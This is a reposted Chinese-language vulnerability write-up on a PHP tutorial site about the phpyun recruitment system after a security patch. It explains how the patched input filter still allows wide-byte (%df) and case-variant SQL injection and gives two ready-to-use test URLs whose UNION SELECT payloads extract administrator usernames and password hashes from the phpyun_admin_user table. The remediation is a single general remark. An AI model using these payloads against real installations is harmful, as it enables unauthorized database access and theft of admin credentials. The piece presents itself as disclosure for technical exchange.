网站地图    收藏   

主页 > 后端 > 网站安全 >

phpyun人才系统补丁之后的注入和修复 - 网站安全

来源:自学PHP网    时间:2015-04-17 15:08 作者: 阅读:

[导读] 昨天无意看到php100好像对php云系统出了安全补丁了,今天没事,下载下来1.1.6版的大概看一下,看一下是怎么补得。看了之后,发现在config/db_safety.php的过滤函数如下:function common_htmls...

昨天无意看到php100好像对php云系统出了安全补丁了,今天没事,下载下来1.1.6版的大概看一下,看一下是怎么补得。看了之后,发现在config/db_safety.php的过滤函数如下:

function common_htmlspecialchars($str)
{
$str = preg_replace(/&(?!#[0-9]+;)/s, &, $str);
$str = str_replace(array(<, >, ",and,=,""), array(&lt;, &gt;, &quot;,an d,"=","”"), $str); //比之前多过滤了和=

        return $str;
}
foreach($_POST as $id=>$v){
$_POST[$id]=common_htmlspecialchars($v);
}
foreach($_GET as $id=>$v){
$_GET[$id]=common_htmlspecialchars($v);
}
foreach($_COOKIE as $id=>$v){
$_COOKIE[$id]=common_htmlspecialchars($v);
}

程序员显然认为过滤了单引号,就没有办法了。我承认用单引号引起的变量,确实是需要单引号来闭合的,但是变通一下思维,需要单引号,我不一定要靠外部引入的,例如:

$sql = "select * from user where name= $name and pass=$pass"

这个sql 如果我想办法弄成 select * from user where name=縗 and pass= or 1=1-- sdf //用-- 注释掉最后的单引号,不是一样用or可以注入吗?

另外这个补丁用str_replace 过滤 and,但是如果我提交And或者aNd呢?

所以打了补丁的phpyun系统依然存在双字节编码注入漏洞,不受gpc选项影响。

测试方法:

访问www.abc.com/search.php?keyword=&provinceid=%df&cityid=%20union%20select%201,2,concat(0x40,0x23,username,0x7e,password,0x23,0x40),4,5,6,7,8,9,0,11,12%20from%20phpyun_admin_user--%20-&mySearchCityName=&mySearchCity=&search=%CB%D1%CB%F7www.abc.com/resumeview.php?uid= union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,concat(0x40,0x23,username,0x7e,password,0x23,0x40),17 from phpyun_admin_user-- sd&e=%df   。

  


随便举了两个,有很多可利用的地方,另外商业版的貌似对所有int数据强制转换了,只是猜测,因为这两个地方演示站黑盒测试没问题(俺没有商业版代码)。

修复方案:

Ryat牛说防止注入的思想就是最大限度的估计好变量的类型,希望程序员多多思考。

仅供技术交流。

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论